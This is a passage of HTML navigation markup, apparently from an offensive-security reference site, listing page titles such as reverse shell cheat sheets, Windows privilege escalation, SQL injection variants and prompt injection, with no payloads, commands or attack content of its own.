<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Active%20Directory%20Attack/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory Attacks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Bind Shell
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cloud - AWS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cloud - Azure
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cobalt Strike
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Container - Docker
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Container - Kubernetes
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Application Escape and Breakout
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTML Smuggling
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hash Cracking
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Initial%20Access/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Initial Access
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Evasion
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Persistence
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Privilege Escalation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL Server
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Metasploit
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Methodology%20and%20enumeration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Bug Hunting Methodology and Enumeration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Miscellaneous%20-%20Tricks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Miscellaneous & Tricks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Network Discovery
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Network Pivoting Techniques
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Office - Attacks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Powershell
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Reverse Shell Cheat Sheet
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Source Code Management & CI/CD Compromise
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Subdomains%20Enumeration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Subdomains Enumeration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Vulnerability Reports
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - AMSI Bypass
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - DPAPI
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Defenses
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Download and execute methods
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Mimikatz
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Persistence
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Privilege Escalation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Using credentials
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
NoSQL Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_37">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
NoSQL Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../NoSQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
NoSQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
OAuth Misconfiguration
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_38">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
OAuth Misconfiguration
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../OAuth%20Misconfiguration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
OAuth Misconfiguration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Open Redirect
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_39">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Open Redirect
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Open%20Redirect/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Open URL Redirection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Prompt Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_40">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Prompt Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Prompt%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Prompt Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Prototype Pollution
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_41">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Prototype Pollution
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Prototype%20Pollution/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Prototype Pollution
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Race Condition
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_42">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Race Condition
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Race%20Condition/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Race Condition
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Request Smuggling
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_43">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Request Smuggling
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Request%20Smuggling/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Request Smuggling
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SAML Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_44">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
SAML Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SAML%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SAML Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SQL Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_45">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
SQL Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Google BigQuery SQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/Cassandra%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cassandra Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DB2 Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/HQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hibernate Query Language Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/MSSQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MySQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Oracle SQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/PostgreSQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
PostgreSQL injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SQLite Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Include Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_46">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Server Side Include Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Server%20Side%20Include%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Include Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Request Forgery
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_47">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Server Side Request Forgery
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Server%20Side%20Request%20Forgery/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server-Side Request Forgery
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_48">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Server Side Template Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Server%20Side%20Template%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Tabnabbing
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
